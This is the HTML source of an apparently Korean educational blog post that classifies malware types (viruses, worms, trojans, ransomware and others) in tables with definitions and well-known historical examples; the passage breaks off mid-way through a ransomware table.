&lt;table style=&quot;color: #000000; border-collapse: collapse; width: 100%; height: 293px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;설명&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;주요특징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Virus&lt;/b&gt;&amp;nbsp;(바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;다른 파일에 자신을&amp;nbsp;&lt;b&gt;감염시키는&lt;/b&gt;&amp;nbsp;악성코드&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;실행 파일(.exe 등)에 붙어서 복제. 숙주가 필요함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Worm&lt;/b&gt;&amp;nbsp;(웜)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;스스로 복제&lt;/b&gt;하여 네트워크를 통해 퍼지는 악성코드&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;별도 파일에 기생하지 않고 독자적으로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;&lt;b&gt;Trojan Horse&lt;/b&gt;&amp;nbsp;&lt;br /&gt;(트로이 목마)&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;정상 프로그램인 척 하면서 몰래 악성 기능 수행&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;백도어 설치, 데이터 탈취 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;&lt;b&gt;Ransomware&lt;/b&gt;&amp;nbsp;&lt;br /&gt;(랜섬웨어)&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;파일을 암호화하거나 시스템을 잠그고&amp;nbsp;&lt;b&gt;몸값(ransom)&lt;/b&gt;&amp;nbsp;요구&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;데이터 복호화 대가로 금전 요구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Spyware&lt;/b&gt;&amp;nbsp;(스파이웨어)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;사용자 몰래 정보를&amp;nbsp;&lt;b&gt;수집&lt;/b&gt;하는 악성코드&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;키 입력 기록, 브라우징 기록, 개인정보 탈취&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Rootkit&lt;/b&gt;&amp;nbsp;(루트킷)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;시스템 깊숙이 숨어서&amp;nbsp;&lt;b&gt;악성 행위 은폐&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;프로세스, 파일, 레지스트리 조작 가능. 탐지 어렵게 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Botnet&lt;/b&gt;&amp;nbsp;(봇넷)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;감염된 장치를 공격자의 명령에 따라&amp;nbsp;&lt;b&gt;원격 조종&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;DDoS 공격, 스팸 발송, 추가 악성코드 배포 등 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Backdoor&lt;/b&gt;&amp;nbsp;(백도어)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;공격자가 시스템에&amp;nbsp;&lt;b&gt;몰래 접근할 수 있도록&lt;/b&gt;설치하는 프로그램&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;보통 다른 악성코드에 의해 설치됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;&lt;b&gt;Fileless Malware&lt;br /&gt;&lt;/b&gt;(파일리스 악성코드)&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;파일을 남기지 않고 메모리 상에서만 동작하는 악성코드&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;탐지 어렵고, PowerShell, WMI 등을 악용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Logic Bomb&lt;/b&gt;&amp;nbsp;(로직폭탄)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;특정 조건이 충족되었을 때 악성 행위를 실행&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;날짜, 키 입력, 파일 생성 등 조건 감지 후 발동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;&lt;b&gt;Rogue Software&lt;br /&gt;&lt;/b&gt;(가짜 보안 소프트웨어)&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;가짜 백신이나 최적화 프로그램으로 속여 설치를 유도&lt;/td&gt;
&lt;td style=&quot;height: 35px;&quot;&gt;&amp;ldquo;컴퓨터에 바이러스가 있습니다!&amp;rdquo; 같은 팝업 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1.&lt;span&gt; &amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Virus (바이러스)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;인간 바이러스처럼,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;다른 파일을 숙주로 삼아 복제&lt;/b&gt;&lt;span&gt;함.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;사용자가 감염된 파일을 실행해야 활동을 시작함.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;color: #000000; border-collapse: collapse; width: 100%; height: 277px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;text-align: center; width: 29.418605%; height: 17px;&quot;&gt;종류&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 40.465116%; height: 17px;&quot;&gt;설명&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 30%; height: 17px;&quot;&gt;특징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 29.418605%;&quot;&gt;&lt;b&gt;File Infector Virus&lt;/b&gt;&amp;nbsp;(파일 감염형)&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 40.465116%;&quot;&gt;실행 파일(.exe, .com 등)에 감염되어 실행 시 자신도 실행&lt;br /&gt;ex. Cascade,m CIH&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 30%;&quot;&gt;가장 전통적인 바이러스 형태&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 29.418605%;&quot;&gt;&lt;b&gt;Macro Virus&lt;/b&gt;&amp;nbsp;(매크로 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 40.465116%;&quot;&gt;문서 파일(.doc, .xls 등)의 매크로 기능(VBA ;스크립트 등)을 이용해 감염&lt;br /&gt;문서을 실행하면 자동으로 악성 매크로가 실행됨&lt;br /&gt;ex. Melissa, Concept&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 30%;&quot;&gt;워드, 엑셀 같은 오피스 파일을 통해 퍼짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 29.418605%;&quot;&gt;&lt;b&gt;Boot Sector Virus&lt;br /&gt;&lt;/b&gt;&amp;nbsp;(부트 섹터 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 40.465116%;&quot;&gt;하드디스크나 USB의 부트 섹터(부팅영역, boot sector)를 감염시킴&lt;br /&gt;시스템 부팅 시 자동으로 메모리에 상주하여 감염 확산&lt;br /&gt;ex. Michelangelo, Stoned&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 30%;&quot;&gt;부팅할 때 자동 실행됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 29.418605%;&quot;&gt;&lt;b&gt;Multipartite Virus&lt;/b&gt;&amp;nbsp;(혼합형 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 40.465116%;&quot;&gt;파일과 부트 섹터 둘 다 감염&lt;br /&gt;둘 중 하나만 제거하더라도 나머지 바이러스로 인해 다시 복구 되어 완전한 제거가 어려움&lt;br /&gt;ex. Tequila&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 30%;&quot;&gt;감염 경로가 다양해 제거가 복잡함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 29.418605%;&quot;&gt;&lt;b&gt;Polymorphic Virus&lt;/b&gt;&amp;nbsp;&lt;br /&gt;(다형성 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 40.465116%;&quot;&gt;자기복제시 마다 암호화 패턴과 구조를 변형하여 시그니처 탐지를 회피함&lt;br /&gt;백신이 한가지 패턴으로 탐지할 수 없음&lt;br /&gt;ex. Strom Worm&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 30%;&quot;&gt;시그니처 기반 백신을 회피함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 29.418605%;&quot;&gt;&lt;b&gt;Metamorphic Virus&lt;/b&gt;&amp;nbsp;(변형 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 40.465116%;&quot;&gt;복제 시마다 스스로 코드를 다시 작성. 단순 패턴 변형이 아닌 전체 코드를 재작성하여 변형하기 때문에 백신입장에서는 완전히 새로운 바이러스로 보임&lt;br /&gt;ex. Zmist&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 30%;&quot;&gt;다형성보다 더 고도화된 은폐 기술&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 29.418605%;&quot;&gt;&lt;b&gt;Resident Virus&lt;/b&gt;&amp;nbsp;(상주 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 40.465116%;&quot;&gt;메모리에 상주하여 다른 파일 실행을 가로채 감염&lt;br /&gt;ex. Randex, CMJ&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 30%;&quot;&gt;파일 실행 시 즉시 작동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 29.418605%;&quot;&gt;&lt;b&gt;Non-Resident Virus&lt;/b&gt;&amp;nbsp;&lt;br /&gt;(비상주 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 40.465116%;&quot;&gt;감염될 파일을 직접 찾아다니며 감염시키고 종료&lt;br /&gt;ex. Vienna&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 30%;&quot;&gt;메모리에 오래 남지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 29.418605%;&quot;&gt;&lt;b&gt;Overwrite Virus&lt;/b&gt;&amp;nbsp;(덮어쓰기 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 40.465116%;&quot;&gt;파일 내용을 덮어써서 손상시킴&lt;br /&gt;ex. Trivial.88.D&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 30%;&quot;&gt;감염된 파일은 복구 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 29.418605%;&quot;&gt;&lt;b&gt;Companion Virus&lt;/b&gt;&amp;nbsp;(짝퉁 바이러스)&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 40.465116%;&quot;&gt;비슷한 이름의 악성파일을 만들고 사용자가 착각하고 실행하도록 유도 시킴&lt;br /&gt;ex. DOS companion Viruses&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 30%;&quot;&gt;예: NOTEPAD.EXE 대신 NOTEPAD.COM&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. &lt;/b&gt;&lt;b&gt;Worm (웜)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일에 기생하지 않고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;스스로 실행하고 퍼짐&lt;/b&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;네트워크를 통해 퍼지며, 대규모 감염(예: SQL Slammer Worm).&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;바이러스 vs 웜&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 78px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;바이러스(Virus)&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;웜(Worm)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;감염 방식&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;다른 파일/프로그램에 감염 (숙주 필요)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;독립 실행 가능 (숙주 불필요)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;전파 방식&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;사용자가 감염된 파일을 실행해야 전파&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;네트워크를 통해 자동 확산&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;목적&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;복제 + 파괴/정보탈취/장애 유발 등&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;빠른 확산 + 부하 초래/추가 공격 수행&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;예시&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;CIH, Melissa, LoveLetter&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;Code Red, Slammer, Conficker, WannaCry&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웜의 종류&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;종류&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;특징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Email Worm&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(이메일 웜)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;이메일 첨부파일이나 링크를 통해 전파&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;주소록을 자동으로 이용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Internet Worm&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(인터넷 웜)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;인터넷을 통해 취약한 시스템을 직접 공격&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;대량 스캔 + 자동 전파&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;IM Worm&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(메신저 웜)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;메신저(WhatsApp, MSN 등)를 통해 전파&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;대화 중 링크 보내기&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;P2P Worm&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(P2P 웜)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;파일공유 프로그램(P2P) 네트워크 통해 확산&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;토렌트 같은 공유 네트워크 이용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Network Worm&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(네트워크 웜)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;로컬 네트워크(LAN)에서 전파&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;회사 내부망 등을 타깃&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;USB Worm&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(USB 웜)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;USB 드라이브를 통해 퍼짐&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;오프라인 감염 경로&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Hybrid Worm&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(하이브리드 웜)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;여러 경로(이메일+인터넷+P2P)를 혼합&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;복합 감염, 복합 전파&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Payload Worm&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(페이로드 웜)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;웜이 추가적으로 악성 기능(백도어, 랜섬웨어 등)을 내포&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;감염과 동시에 추가 공격 수행&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Trojan Horse (트로이 목마)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정상 소프트웨어처럼 위장하지만, 몰래 악성 기능을 수행.&lt;/li&gt;
&lt;li&gt;백도어 설치, 정보 탈취 등이 대표적인 목적.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;특징&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;위장&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;정상 파일, 게임, 업데이트, 문서 파일 등으로 위장&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;자가 복제 없음&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;웜이나 바이러스처럼 스스로 복제하거나 전파하지는 않음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;수동 설치 유도&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;사용자가 직접 다운로드하거나 실행하게 만듦 (사회공학 기법 활용)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;다양한 악성 기능 포함&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;백도어 설치, 키로깅, 파일 삭제, 랜섬웨어 설치 등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Ransomware (랜섬웨어)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일을 암호화하거나 시스템을 잠가 인질로 삼고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;돈을 요구&lt;/b&gt;&lt;/span&gt;함.&lt;/li&gt;
&lt;li&gt;Cryptolocker, WannaCry 등이 유명.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;랜섬웨어 명&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;등장시기&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;주요 특징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;CryptoLocker&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2013&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;최초의 대규모 암호화 랜섬웨어, 파일 암호화 후 비트코인 요구&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Locky&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2016&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;이메일 첨부파일(Word Macro) 통한 대규모 확산&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Cerber&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2016&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;자동 음성 메시지로 랜섬 요구, RaaS (서비스형 랜섬웨어) 시초&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;WannaCry&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2017&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;SMB 취약점(EternalBlue) 이용, 전 세계 대규모 감염&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;NotPetya&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2017&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;랜섬웨어 위장형 파괴 바이러스 (사실상 데이터 복구 불가)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Ryuk&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2018&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;기업과 기관 대상, 고액 몸값 요구 (수백만 달러)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Sodinokibi (REvil)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2019&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;대규모 공급망 공격(Supply Chain Attack)에 활용, RaaS 운영&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Maze&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2019&lt;/span&gt;&lt;/td&gt;
